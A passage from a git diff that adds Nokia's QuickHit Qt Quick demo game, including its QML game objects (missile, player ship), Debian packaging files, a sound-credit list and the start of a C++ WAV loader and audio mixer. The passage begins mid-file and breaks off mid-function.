+ id: messageAnim
+ PropertyAnimation {
+ target: message; properties: "x";
+ from: message.width*-1; to: gameArea.width; duration: animSpeed; easing.type: Easing.OutInExpo}
+ PropertyAction { target: message; properties: "opacity"; value: 0 }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ messageAnim.stop()
+ message.opacity = 0
+ }
+ }
+
+ Text {
+ id: messageText
+ anchors.fill: parent
+ anchors.margins: 10
+ text: txt
+ wrapMode: Text.WordWrap
+ color: "white"
+ font.family: "Calibri"
+ font.pixelSize: parent.width / 14
+ font.bold: true
+ onLinkActivated: {
+ GameEngine.openLink(link)
+ }
+ }
+}
diff --git a/demos/mobile/quickhit/Missile.qml b/demos/mobile/quickhit/Missile.qml
new file mode 100644
index 00000000..57e48c4f
--- /dev/null
+++ b/demos/mobile/quickhit/Missile.qml
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: missile
+ objectName: "missile"
+ opacity: 0 // transparent by default
+
+ property int fromYpos
+ property int toYpos
+ property variant myMissileSize
+ property bool enemyMissile: false
+ property int defaultX: 0
+ property int defaultY: 0
+
+ function storeDefaultPos() {
+ defaultX = missile.x
+ defaultY = missile.y
+ }
+
+ function setToDefaultPos() {
+ missile.x = defaultX
+ missile.y = defaultY
+ opacity = 0.5
+ }
+
+ function createGraphicsForLevel() {
+ missile.myMissileSize = LevelPlugin.graphSize(LevelPlugin.pathToMissilePic())
+ missile.height = myMissileSize.height;
+ missile.width = myMissileSize.width;
+ if (missile.enemyMissile) {
+ missileImage.source = "file:/"+LevelPlugin.pathToEnemyMissilePic()
+ } else {
+ missileImage.source = "file:/"+LevelPlugin.pathToMissilePic()
+ }
+ }
+
+ // Execute fire!
+ function fire(aXpox, aFromYpos, aToYpos) {
+ missile.x = aXpox - missile.width / 2
+ missile.y = aFromYpos
+ missile.fromYpos = aFromYpos
+ missile.toYpos = aToYpos
+ missile.opacity = 1
+ GameEngine.playSound(2) // NOTE: 3 for your missile sound
+ flying.restart()
+ }
+
+ // Enemy fires!
+ function enemyFire(aXpox, aFromYpos, aToYpos) {
+ missile.x = aXpox - missile.width / 2
+ missile.y = aFromYpos
+ missile.fromYpos = aFromYpos
+ missile.toYpos = aToYpos
+ missile.opacity = 1
+ GameEngine.playSound(3) // NOTE: 3 for enemy missile sound
+ flyingEnemy.restart()
+ }
+
+ // Stop missile
+ function stop() {
+ flying.stop()
+ }
+
+ // Pause missile
+ function pause(doPause) {
+ if (doPause) {
+ flying.pause()
+ flyingEnemy.pause()
+ } else {
+ flying.resume()
+ flyingEnemy.resume()
+ }
+ }
+
+ Component.onCompleted: {
+ if (!enemyMissile) {
+ storeDefaultPos()
+ setToDefaultPos()
+ }
+ }
+
+ // Animates missile flying to the target
+ SequentialAnimation {
+ id: flying
+ PropertyAnimation {target: missile; properties: "y";
+ from: fromYpos; to: toYpos; duration: 2000; easing.type: Easing.InCubic }
+ //PropertyAction {target: missile; properties: "opacity"; value: 0}
+ ScriptAction { script: setToDefaultPos() }
+ }
+
+ SequentialAnimation {
+ id: flyingEnemy
+ PropertyAnimation {target: missile; properties: "y";
+ from: fromYpos; to: toYpos; duration: 2000; easing.type: Easing.InCubic }
+ PropertyAction {target: missile; properties: "opacity"; value: 0}
+ }
+
+ Image {
+ id: missileImage
+ smooth: true
+ }
+}
+
diff --git a/demos/mobile/quickhit/MyShip.qml b/demos/mobile/quickhit/MyShip.qml
new file mode 100644
index 00000000..3b02ac51
--- /dev/null
+++ b/demos/mobile/quickhit/MyShip.qml
@@ -0,0 +1,184 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "Game.js" as GameScript
+
+Item {
+ id: myShip
+ objectName: "myShip"
+
+ property variant myShipSize
+ property int originalY
+
+ // Fires missile if exists
+ function fire() {
+ if (myShip.opacity==1) {
+ GameScript.fireMissile(myShip.x+myShip.width/2,myShip.y,myShip.height*-1)
+ if (myShip.y+myShip.height < gameArea.height+5) {
+ goDownAnim.restart()
+ }
+ }
+ }
+
+ function createGraphicsForLevel() {
+ myShip.myShipSize = LevelPlugin.graphSize(LevelPlugin.pathToMyShipPic())
+ myShip.height = myShipSize.height
+ myShip.width = myShipSize.width
+ image.source = "file:/"+LevelPlugin.pathToMyShipPic()
+ myShip.y = gameArea.height - myShip.height - 10
+ originalY = myShip.y
+ myShip.x = (gameArea.width - myShip.width)/ 2
+ }
+
+ Image {
+ id: image
+ smooth: true
+ }
+
+ Keys.onSpacePressed: { fire() }
+ Keys.onSelectPressed: { fire() }
+ Keys.onRightPressed: {
+ if (myShip.x < (gameArea.width - myShip.width - 20)) {
+ toRightAnim.restart()
+ }
+ }
+ Keys.onLeftPressed: {
+ if (myShip.x > 20) {
+ toLeftAnim.restart()
+ }
+ }
+
+ // To right animation
+ PropertyAnimation { id: toRightAnim; target: myShip; easing.type: Easing.OutQuint;
+ properties: "x"; from: myShip.x; to: myShip.x + 20; duration: 500 }
+
+ // To left animation
+ PropertyAnimation { id: toLeftAnim; target: myShip; easing.type: Easing.OutQuint;
+ properties: "x"; from: myShip.x; to: myShip.x - 20; duration: 500 }
+
+ // Go down on fire animation
+ SequentialAnimation {
+ id: goDownAnim
+ NumberAnimation { target: myShip; property:"y"; from: myShip.y; to: myShip.y+5;
+ easing.type: Easing.Linear; duration: 200 }
+ NumberAnimation { target: myShip; property:"y"; from: myShip.y; to: originalY;
+ easing.type: Easing.Linear; duration: 200 }
+ }
+
+
+ /*
+ MouseArea {
+ anchors.fill: parent
+ drag.target: myShip
+ drag.axis: Drag.XAxis
+ drag.minimumX: 0
+ drag.maximumX: gameArea.width - myShip.width
+ onReleased: {
+ fire()
+ }
+ }
+ */
+
+
+ /*
+ property bool isAutoRepeat: false
+ Keys.onPressed: {
+ if (event.key == Qt.Key_Right) {
+ if (event.isAutoRepeat) {
+ isAutoRepeat = true
+ toRightAnim.restart()
+ } else {
+ isAutoRepeat = false
+ toRotateRightAndCenterAnim.restart()
+ }
+ event.accepted = true
+ }
+ else if (event.key == Qt.Key_Left) {
+ if (event.isAutoRepeat) {
+ isAutoRepeat = true
+ toLeftAnim.restart()
+ } else {
+ isAutoRepeat = false
+ toRotateLeftAndCenterAnim.restart()
+ }
+ event.accepted = true
+ }
+ }
+
+ Keys.onReleased: {
+ if (isAutoRepeat) {
+ toRotateRightAndCenterAnim.stop()
+ toRotateLeftAndCenterAnim.stop()
+ } else {
+ toRotateCenter.restart()
+ }
+ event.accepted = true
+ }
+
+ // Rotation on movement animation
+ transform: Rotation { id:rotationId; origin.x: width/2; origin.y: height/2; axis { x: 0; y: 1; z: 0 } angle: 0 }
+ SequentialAnimation {
+ id: toRotateRightAndCenterAnim
+ PropertyAnimation { target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; from: 0; to: 30; duration: 100 }
+ PropertyAnimation { target: myShip; easing.type: Easing.OutQuint;
+ properties: "x"; from: myShip.x; to: myShip.x + 20; duration: 500 }
+ PropertyAnimation { target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; to: 0; duration: 100 }
+ }
+ SequentialAnimation {
+ id: toRotateLeftAndCenterAnim
+ PropertyAnimation { target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; from: 0; to: -30; duration: 100 }
+ PropertyAnimation { target: myShip; easing.type: Easing.OutQuint;
+ properties: "x"; from: myShip.x; to: myShip.x - 20; duration: 500 }
+ PropertyAnimation { target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; to: 0; duration: 100 }
+ }
+ PropertyAnimation { id: toRotateRight; target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; from: 0; to: 30; duration: 100 }
+ PropertyAnimation { id: toRotateCenter; target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; to: 0; duration: 100 }
+ PropertyAnimation { id: toRotateLeft; target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; from: 0; to: -30; duration: 100 }
+*/
+
+}
diff --git a/demos/mobile/quickhit/debian/changelog b/demos/mobile/quickhit/debian/changelog
new file mode 100644
index 00000000..226e172d
--- /dev/null
+++ b/demos/mobile/quickhit/debian/changelog
@@ -0,0 +1,11 @@
+quickhit (1.1.0) unstable; urgency=low
+
+ * First version
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Wed, 5 Jan 2011 10:05:04 +0200
+
+quickhit (1.0.0) unstable; urgency=low
+
+ * First version
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Tue, 19 Oct 2010 10:05:04 +0200
diff --git a/demos/mobile/quickhit/debian/compat b/demos/mobile/quickhit/debian/compat
new file mode 100644
index 00000000..7f8f011e
--- /dev/null
+++ b/demos/mobile/quickhit/debian/compat
@@ -0,0 +1 @@
+7
diff --git a/demos/mobile/quickhit/debian/control b/demos/mobile/quickhit/debian/control
new file mode 100644
index 00000000..7253285e
--- /dev/null
+++ b/demos/mobile/quickhit/debian/control
@@ -0,0 +1,11 @@
+Source: quickhit
+Section: user/games
+Priority: extra
+Maintainer: Antonio Aloisio <antonio.aloisio@nokia.com>
+Standards-Version: 3.7.2
+
+Package: quickhit
+Architecture: any
+Depends: ${shlibs:Depends}, ${misc:Depends}
+Description: QuickHit
+ Qt Quick Game example
diff --git a/demos/mobile/quickhit/debian/copyright b/demos/mobile/quickhit/debian/copyright
new file mode 100644
index 00000000..b0aadafe
--- /dev/null
+++ b/demos/mobile/quickhit/debian/copyright
@@ -0,0 +1,8 @@
+This is quickhit, written and maintained by Forum Nokia Antonio Aloisio <antonio.aloisio@nokia.com>
+on Tue, 19 Oct 2010 10:05:04 +0200
+
+
+Copyright Holder: Nokia (c) 2010
+
+License:
+
diff --git a/demos/mobile/quickhit/debian/dirs b/demos/mobile/quickhit/debian/dirs
new file mode 100644
index 00000000..80507f10
--- /dev/null
+++ b/demos/mobile/quickhit/debian/dirs
@@ -0,0 +1,2 @@
+usr/bin
+usr/share/applications/hildon
diff --git a/demos/mobile/quickhit/debian/postinst b/demos/mobile/quickhit/debian/postinst
new file mode 100644
index 00000000..79fb6ddd
--- /dev/null
+++ b/demos/mobile/quickhit/debian/postinst
@@ -0,0 +1,5 @@
+#!/bin/sh -e
+
+gtk-update-icon-cache -f /usr/share/icons/hicolor
+
+exit 0
diff --git a/demos/mobile/quickhit/debian/rules b/demos/mobile/quickhit/debian/rules
new file mode 100644
index 00000000..b485428f
--- /dev/null
+++ b/demos/mobile/quickhit/debian/rules
@@ -0,0 +1,91 @@
+#!/usr/bin/make -f
+# -*- makefile -*-
+# Sample debian/rules that uses debhelper.
+# This file was originally written by Joey Hess and Craig Small.
+# As a special exception, when this file is copied by dh-make into a
+# dh-make output file, you may use that output file without restriction.
+# This special exception was added by Craig Small in version 0.37 of dh-make.
+
+# Uncomment this to turn on verbose mode.
+#export DH_VERBOSE=1
+
+
+APPNAME := quickhit
+
+
+configure: configure-stamp
+configure-stamp:
+ dh_testdir
+ # Add here commands to configure the package.
+
+ touch configure-stamp
+
+
+build: build-stamp
+
+build-stamp: configure-stamp
+ dh_testdir
+
+ # Add here commands to compile the package.
+ $(MAKE)
+ #docbook-to-man debian/$(APPNAME).sgml > $(APPNAME).1
+
+ touch $@
+
+clean:
+ dh_testdir
+ dh_testroot
+ rm -f build-stamp configure-stamp
+
+ # Add here commands to clean up after the build process.
+ $(MAKE) clean
+
+ dh_clean
+
+install: build
+ dh_testdir
+ dh_testroot
+ dh_clean -k
+ dh_installdirs
+
+ # Add here commands to install the package into debian/$(APPNAME).
+ $(MAKE) INSTALL_ROOT="$(CURDIR)"/debian/$(APPNAME) install
+
+
+# Build architecture-independent files here.
+binary-indep: build install
+# We have nothing to do by default.
+
+# Build architecture-dependent files here.
+binary-arch: build install
+ dh_testdir
+ dh_testroot
+ dh_installchangelogs
+ dh_installdocs
+ dh_installexamples
+# dh_install
+# dh_installmenu
+# dh_installdebconf
+# dh_installlogrotate
+# dh_installemacsen
+# dh_installpam
+# dh_installmime
+# dh_python
+# dh_installinit
+# dh_installcron
+# dh_installinfo
+ dh_installman
+ dh_link
+ # dh_strip
+ dh_compress
+ dh_fixperms
+# dh_perl
+ dh_makeshlibs
+ dh_installdeb
+ dh_shlibdeps
+ dh_gencontrol
+ dh_md5sums
+ dh_builddeb
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary install configure
diff --git a/demos/mobile/quickhit/freesound.org.licence.txt b/demos/mobile/quickhit/freesound.org.licence.txt
new file mode 100644
index 00000000..8714ea04
--- /dev/null
+++ b/demos/mobile/quickhit/freesound.org.licence.txt
@@ -0,0 +1,24 @@
+
+Sounds were loaded from www.freesound.org under Creative Commons Sampling Plus 1.0 license.
+
+Sounds were created by these nicknames: HardPCM, Matt_G, klankbeeld, steveygos93, joe93barlow, ljudman, Jovica, patchen, nthompson
+
+78677__joe93barlow__strike2.wav
+47251__nthompson__rocket.wav
+3378__patchen__Rhino_03.wav
+3258__Jovica__Dronetail_02.wav
+30351__Matt_G__Space_Fighter_Pass.wav
+32954__HardPCM__Chip054.wav
+32985__HardPCM__Alarm001.wav
+33245__ljudman__grenade.wav
+78678__joe93barlow__swing0.wav
+80401__steveygos93__Explosion2.wav
+109438__klankbeeld__intro_brass_01.wav
+
+
+
+
+
+
+
+
diff --git a/demos/mobile/quickhit/ga_src/GEAudioBuffer.cpp b/demos/mobile/quickhit/ga_src/GEAudioBuffer.cpp
new file mode 100644
index 00000000..4a5f55dd
--- /dev/null
+++ b/demos/mobile/quickhit/ga_src/GEAudioBuffer.cpp
@@ -0,0 +1,391 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QDebug>
+#include <math.h>
+#include "GEAudioBuffer.h"
+
+using namespace GE;
+
+
+struct SWavHeader {
+ char chunkID[4];
+ unsigned int chunkSize;
+ char format[4];
+
+ unsigned char subchunk1id[4];
+ unsigned int subchunk1size;
+ unsigned short audioFormat;
+ unsigned short nofChannels;
+ unsigned int sampleRate;
+ unsigned int byteRate;
+
+ unsigned short blockAlign;
+ unsigned short bitsPerSample;
+
+ unsigned char subchunk2id[4];
+ unsigned int subchunk2size;
+
+};
+
+CAudioBuffer::CAudioBuffer() {
+ m_data = 0;
+ m_dataLength = 0;
+ m_sampleFunction = 0;
+};
+
+
+CAudioBuffer::~CAudioBuffer() {
+ reallocate(0);
+}
+
+void CAudioBuffer::reallocate( int length ) {
+ if (m_data) delete [] ((char*)m_data);
+ m_dataLength = length;
+ if (m_dataLength>0) {
+ m_data = new char[ m_dataLength ];
+ } else m_data = 0;
+};
+
+
+CAudioBuffer* CAudioBuffer::loadWav( QString fileName ) {
+ QFile *wavFile = new QFile( fileName );
+
+
+ if (wavFile->open(QIODevice::ReadOnly)) {
+ SWavHeader header;
+
+ wavFile->read( header.chunkID, 4 );
+ if (header.chunkID[0]!='R' || header.chunkID[1]!='I' || header.chunkID[2]!='F' || header.chunkID[3]!='F') return 0; // incorrect header
+
+ wavFile->read( (char*)&header.chunkSize,4 );
+ wavFile->read( (char*)&header.format,4 );
+
+ if (header.format[0]!='W' || header.format[1]!='A' || header.format[2]!='V' || header.format[3]!='E') return 0; // incorrect header
+
+ wavFile->read( (char*)&header.subchunk1id,4 );
+ if (header.subchunk1id[0]!='f' || header.subchunk1id[1]!='m' || header.subchunk1id[2]!='t' || header.subchunk1id[3]!=' ') return 0; // incorrect header
+
+ wavFile->read( (char*)&header.subchunk1size,4 );
+ wavFile->read( (char*)&header.audioFormat,2 );
+ wavFile->read( (char*)&header.nofChannels,2 );
+ wavFile->read( (char*)&header.sampleRate,4 );
+ wavFile->read( (char*)&header.byteRate,4 );
+ wavFile->read( (char*)&header.blockAlign,2 );
+ wavFile->read( (char*)&header.bitsPerSample,2 );
+
+ qDebug() << fileName << " opened";
+
+ while (1) {
+ if (wavFile->read( (char*)&header.subchunk2id,4 ) != 4) return 0;
+ if (wavFile->read( (char*)&header.subchunk2size,4 ) != 4) return 0;
+ //int deb_size = header.subchunk2size;
+ //char tes[4];
+ //memcpy(tes, header.subchunk2id, 4 );
+ //if (header.subchunk2id[0]!='d' || header.subchunk2id[1]!='a' || header.subchunk2id[2]!='t' || header.subchunk2id[3]!='a') return 0; // incorrect header
+ if (header.subchunk2id[0]=='d' && header.subchunk2id[1]=='a' && header.subchunk2id[2]=='t' && header.subchunk2id[3]=='a') break; // found the data, chunk
+ // this was not the data-chunk. skip it
+ if (header.subchunk2size<1) return 0; // error in file
+ char *unused = new char[header.subchunk2size];
+ wavFile->read( unused, header.subchunk2size );
+ delete [] unused;
+ }
+
+
+
+ // the data follows.
+ if (header.subchunk2size<1) return 0;
+
+ CAudioBuffer *rval = new CAudioBuffer;
+ rval->m_nofChannels = header.nofChannels;
+ rval->m_bitsPerSample = header.bitsPerSample;
+ rval->m_samplesPerSec = header.sampleRate;
+ rval->m_signedData = 0; // where to know this?
+ rval->reallocate( header.subchunk2size );
+
+ wavFile->read( (char*)rval->m_data, header.subchunk2size );
+
+ // choose a good sampling function.
+ rval->m_sampleFunction = 0;
+ if (rval->m_nofChannels==1) {
+ if (rval->m_bitsPerSample == 8) rval->m_sampleFunction = sampleFunction8bitMono;
+ if (rval->m_bitsPerSample == 16) rval->m_sampleFunction = sampleFunction16bitMono;
+ } else {
+ if (rval->m_bitsPerSample == 8) rval->m_sampleFunction = sampleFunction8bitStereo;
+ if (rval->m_bitsPerSample == 16) rval->m_sampleFunction = sampleFunction16bitStereo;
+ }
+
+ return rval;
+
+
+ } else {
+ qDebug() << fileName << " NOT opened";
+ return 0;
+ }
+
+ delete wavFile;
+};
+
+
+CAudioBuffer* CAudioBuffer::loadWav( FILE *wavFile ) {
+ // read the header.
+ SWavHeader header;
+ fread( header.chunkID, 4, 1, wavFile );
+ if (header.chunkID[0]!='R' || header.chunkID[1]!='I' || header.chunkID[2]!='F' || header.chunkID[3]!='F') return 0; // incorrect header
+
+ fread( &header.chunkSize, 4, 1, wavFile );
+ fread( header.format, 4, 1, wavFile );
+ if (header.format[0]!='W' || header.format[1]!='A' || header.format[2]!='V' || header.format[3]!='E') return 0; // incorrect header
+
+ fread( header.subchunk1id, 4, 1, wavFile );
+ if (header.subchunk1id[0]!='f' || header.subchunk1id[1]!='m' || header.subchunk1id[2]!='t' || header.subchunk1id[3]!=' ') return 0; // incorrect header
+
+ fread( &header.subchunk1size, 4, 1, wavFile );
+ fread( &header.audioFormat, 2, 1, wavFile );
+ fread( &header.nofChannels, 2, 1, wavFile );
+ fread( &header.sampleRate, 4, 1, wavFile );
+ fread( &header.byteRate, 4, 1, wavFile );
+
+ fread( &header.blockAlign, 2, 1, wavFile );
+ fread( &header.bitsPerSample, 2, 1, wavFile );
+
+ fread( header.subchunk2id, 4, 1, wavFile );
+ if (header.subchunk2id[0]!='d' || header.subchunk2id[1]!='a' || header.subchunk2id[2]!='t' || header.subchunk2id[3]!='a') return 0; // incorrect header
+ fread( &header.subchunk2size, 4, 1, wavFile );
+
+
+ // the data follows.
+ if (header.subchunk2size<1) return 0;
+
+ CAudioBuffer *rval = new CAudioBuffer;
+ rval->m_nofChannels = header.nofChannels;
+ rval->m_bitsPerSample = header.bitsPerSample;
+ rval->m_samplesPerSec = header.sampleRate;
+ rval->m_signedData = 0; // where to know this?
+ rval->reallocate( header.subchunk2size );
+
+ fread( rval->m_data, 1, header.subchunk2size, wavFile );
+
+
+
+ // choose a good sampling function.
+ rval->m_sampleFunction = 0;
+ if (rval->m_nofChannels==1) {
+ if (rval->m_bitsPerSample == 8) rval->m_sampleFunction = sampleFunction8bitMono;
+ if (rval->m_bitsPerSample == 16) rval->m_sampleFunction = sampleFunction16bitMono;
+ } else {
+ if (rval->m_bitsPerSample == 8) rval->m_sampleFunction = sampleFunction8bitStereo;
+ if (rval->m_bitsPerSample == 16) rval->m_sampleFunction = sampleFunction16bitStereo;
+ }
+
+ return rval;
+};
+
+
+
+AUDIO_SAMPLE_TYPE CAudioBuffer::sampleFunction8bitMono( CAudioBuffer *abuffer, int pos, int channel ) {
+ return (AUDIO_SAMPLE_TYPE)(((unsigned char*)(abuffer->m_data))[pos]-128)<<8;
+};
+
+AUDIO_SAMPLE_TYPE CAudioBuffer::sampleFunction16bitMono( CAudioBuffer *abuffer, int pos, int channel ) {
+ return (AUDIO_SAMPLE_TYPE)(((short*)(abuffer->m_data))[pos]);
+};
+
+AUDIO_SAMPLE_TYPE CAudioBuffer::sampleFunction8bitStereo( CAudioBuffer *abuffer, int pos, int channel ) {
+ return ((AUDIO_SAMPLE_TYPE)(((char*)(abuffer->m_data))[pos*abuffer->m_nofChannels + channel])<<8);
+};
+
+
+AUDIO_SAMPLE_TYPE CAudioBuffer::sampleFunction16bitStereo( CAudioBuffer *abuffer, int pos, int channel ) {
+ return (AUDIO_SAMPLE_TYPE)(((short*)(abuffer->m_data))[pos*abuffer->m_nofChannels + channel]);
+};
+
+CAudioBufferPlayInstance *CAudioBuffer::playWithMixer( CAudioMixer &mixer ) {
+ CAudioBufferPlayInstance *i = (CAudioBufferPlayInstance*)mixer.addAudioSource( new CAudioBufferPlayInstance( this ));
+ return i;
+};
+
+
+CAudioBufferPlayInstance::CAudioBufferPlayInstance() {
+ m_fixedPos = 0;
+ m_fixedInc = 0;
+ m_buffer = 0;
+ m_fixedLeftVolume = 4096;
+ m_fixedRightVolume = 4096;
+ m_destroyWhenFinished = true;
+ m_finished = false;
+};
+
+CAudioBufferPlayInstance::CAudioBufferPlayInstance( CAudioBuffer *startPlaying ) {
+ m_fixedPos = 0;
+ m_fixedInc = 0;
+ m_fixedLeftVolume = 4096;
+ m_fixedRightVolume = 4096;
+ m_destroyWhenFinished = true;
+ m_finished = false;
+ playBuffer( startPlaying, 1.0f, 1.0f );
+};
+
+void CAudioBufferPlayInstance::playBuffer( CAudioBuffer *startPlaying, float volume, float speed, int loopTimes ) {
+ m_buffer = startPlaying;
+ m_fixedLeftVolume = (int)(4096.0f*volume);
+ m_fixedRightVolume = m_fixedLeftVolume;
+ m_fixedPos = 0;
+ //m_fixedInc = ( startPlaying->getSamplesPerSec() * (int)(4096.0f*speed)) / AUDIO_FREQUENCY;
+ setSpeed( speed );
+ m_loopTimes = loopTimes;
+
+};
+
+CAudioBufferPlayInstance::~CAudioBufferPlayInstance() {
+
+};
+
+
+void CAudioBufferPlayInstance::stop() {
+ m_buffer = 0;
+ m_finished = true;
+};
+
+void CAudioBufferPlayInstance::setSpeed( float speed ) {
+ if (!m_buffer) return;
+ m_fixedInc = (int)( ((float)m_buffer->getSamplesPerSec() * 4096.0f*speed) / (float)AUDIO_FREQUENCY );
+};
+
+void CAudioBufferPlayInstance::setLeftVolume( float vol ) {
+ m_fixedLeftVolume = (int)(4096.0f*vol);
+};
+
+void CAudioBufferPlayInstance::setRightVolume( float vol ) {
+ m_fixedRightVolume = (int)(4096.0f*vol);
+};
+
+bool CAudioBufferPlayInstance::canBeDestroyed() {
+ if (m_finished==true &&
+ m_destroyWhenFinished==true) return true; else return false;
+};
+
+
+
+// Does not do any bound-checking. Must be checked before called.
+int CAudioBufferPlayInstance::mixBlock( AUDIO_SAMPLE_TYPE *target, int samplesToMix ) {
+ SAMPLE_FUNCTION_TYPE sampleFunction = m_buffer->getSampleFunction();
+ if (!sampleFunction) return 0; // unsupported sampletype
+ AUDIO_SAMPLE_TYPE *t_target = target+samplesToMix*2;
+ int sourcepos;
+ //int tempCounter = 0;
+
+ if (m_buffer->getNofChannels() == 2) { // stereo
+ while (target!=t_target) {
+ sourcepos = m_fixedPos>>12;
+ target[0] = (((((sampleFunction)( m_buffer, sourcepos, 0) * (4096-(m_fixedPos&4095)) + (sampleFunction)( m_buffer, sourcepos+1, 0) * (m_fixedPos&4095) ) >> 12) * m_fixedLeftVolume) >> 12);
+ target[1] = (((((sampleFunction)( m_buffer, sourcepos, 1) * (4096-(m_fixedPos&4095)) + (sampleFunction)( m_buffer, sourcepos+1, 1) * (m_fixedPos&4095) ) >> 12) * m_fixedRightVolume) >> 12);
+ m_fixedPos+=m_fixedInc;
+ target+=2;
